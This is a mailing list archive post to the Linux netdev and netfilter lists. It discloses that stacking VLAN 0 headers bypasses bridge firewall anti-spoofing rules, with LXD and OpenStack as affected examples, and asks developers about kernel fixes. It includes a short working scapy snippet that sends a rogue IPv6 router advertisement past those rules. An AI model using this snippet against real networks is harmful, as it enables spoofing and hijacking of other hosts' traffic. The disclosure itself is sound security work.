lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <CAOdf3grDKBkYmt54ZAzG1zZ6zz1JXeoHSv67_Fc9-nRiY662mQ@mail.gmail.com>
Date:   Thu, 20 Aug 2020 17:17:56 +0200
From:   Etienne Champetier <champetier.etienne@...il.com>
To:     netdev@...r.kernel.org, netfilter-devel@...r.kernel.org
Subject: bridge firewall "bypass" using VLAN 0 stacking

Hello Linux network folks,

On the input path, the kernel will remove any number of VLAN 0 headers
(priority tagging)
On the bridge firewalling path (iptables filter FORWARD or nftable
bridge table),
the kernel only looks at the current layer, except with
bridge-nf-filter-vlan-tagged=1 where it goes 1 layer deep.

This difference in behaviour makes any project using bridge
firewalling possibly vulnerable.

This was fixed in LXD via
https://github.com/lxc/lxd/commit/7599ff5834c4e0fedb3870a35ff457d342b2d1d8
Openstack Team just made their issue public:
https://bugs.launchpad.net/neutron/+bug/1884341

I haven't checked much more projects (libvirt has good rules but not
enabled by default), but I'm wondering if the current Linux behaviour
could be improved to be less surprising.

If we take the example of LXD (before the fix), enabling anti spoofing options
(security.ipv*_filtering) gives the following nft rules:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
table bridge lxd {
    chain in.u1.eth0 {
        type filter hook input priority filter; policy accept;
        iifname "vethececeb08" ether saddr != 00:16:3e:14:12:03 drop
        iifname "vethececeb08" arp saddr ether != 00:16:3e:14:12:03 drop
        iifname "vethececeb08" icmpv6 type nd-neighbor-advert
@nh,528,48 != 95530783235 drop
        iifname "vethececeb08" arp saddr ip != 10.242.217.2 drop
        iifname "vethececeb08" ip saddr 0.0.0.0 ip daddr
255.255.255.255 udp dport 67 accept
        iifname "vethececeb08" ip saddr != 10.242.217.2 drop
        iifname "vethececeb08" ip6 saddr fe80::/10 ip6 daddr ff02::1:2
udp dport 547 accept
        iifname "vethececeb08" ip6 saddr fe80::/10 ip6 daddr ff02::2
icmpv6 type nd-router-solicit accept
        iifname "vethececeb08" icmpv6 type nd-neighbor-advert
@nh,384,128 != 336637795894033326396171405568628756995 drop
        iifname "vethececeb08" ip6 saddr !=
fd42:14c6:68bf:9774:216:3eff:fe14:1203 drop
        iifname "vethececeb08" icmpv6 type nd-router-advert drop
    }

    chain fwd.u1.eth0 {
        type filter hook forward priority filter; policy accept;
        iifname "vethececeb08" ether saddr != 00:16:3e:14:12:03 drop
        iifname "vethececeb08" arp saddr ether != 00:16:3e:14:12:03 drop
        iifname "vethececeb08" icmpv6 type nd-neighbor-advert
@nh,528,48 != 95530783235 drop
        iifname "vethececeb08" arp saddr ip != 10.242.217.2 drop
        iifname "vethececeb08" ip saddr != 10.242.217.2 drop
        iifname "vethececeb08" ip6 saddr !=
fd42:14c6:68bf:9774:216:3eff:fe14:1203 drop
        iifname "vethececeb08" icmpv6 type nd-neighbor-advert
@nh,384,128 != 336637795894033326396171405568628756995 drop
        iifname "vethececeb08" icmpv6 type nd-router-advert drop
    }
...
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Some (many) people expect those rules to prevent ARP/IPv4/IPv6
spoofing, but they don't protect either the host or the Linux
neighbours.

Here is a simple scapy script to send router advertisements
encapsulated in 2 VLAN 0 headers. This will bypass all those rules but
be accepted:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ra  = Ether()/Dot1Q(vlan=0)/Dot1Q(vlan=0)
ra /= IPv6(dst='ff02::1')
ra /= ICMPv6ND_RA(chlim=64, prf='High', routerlifetime=1800)
ra /= ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr('eth0'))
ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64,
validlifetime=1810, preferredlifetime=1800)
sendp(ra)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(this also works with 'Dot1AD(vlan=0)')

Some server NICs (at least Cisco UCS) use priority tagging by default
so just dropping VLAN 0 traffic is not an option, but here are some
questions / thoughts:

- should the input path drop packets with stacked VLAN 0 ?

- should there be a sysctl to not remove VLAN 0 on the input path ?
VLAN 0 stacking might allow to bypass anti spoofing / DHCP & NDP guard
on some switches in some configuration,
If your network doesn't use priority tagging there is no reason to
accept such traffic.

- should the bridge path have the same behaviour as the input path and
"remove" all the VLAN 0 headers by default ? (that would fix all
projects using bridge firewalling at once)

- are there any other headers that are automatically removed on the
input path that would allow a similar "bypass" ?

Best
Etienne Champetier

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ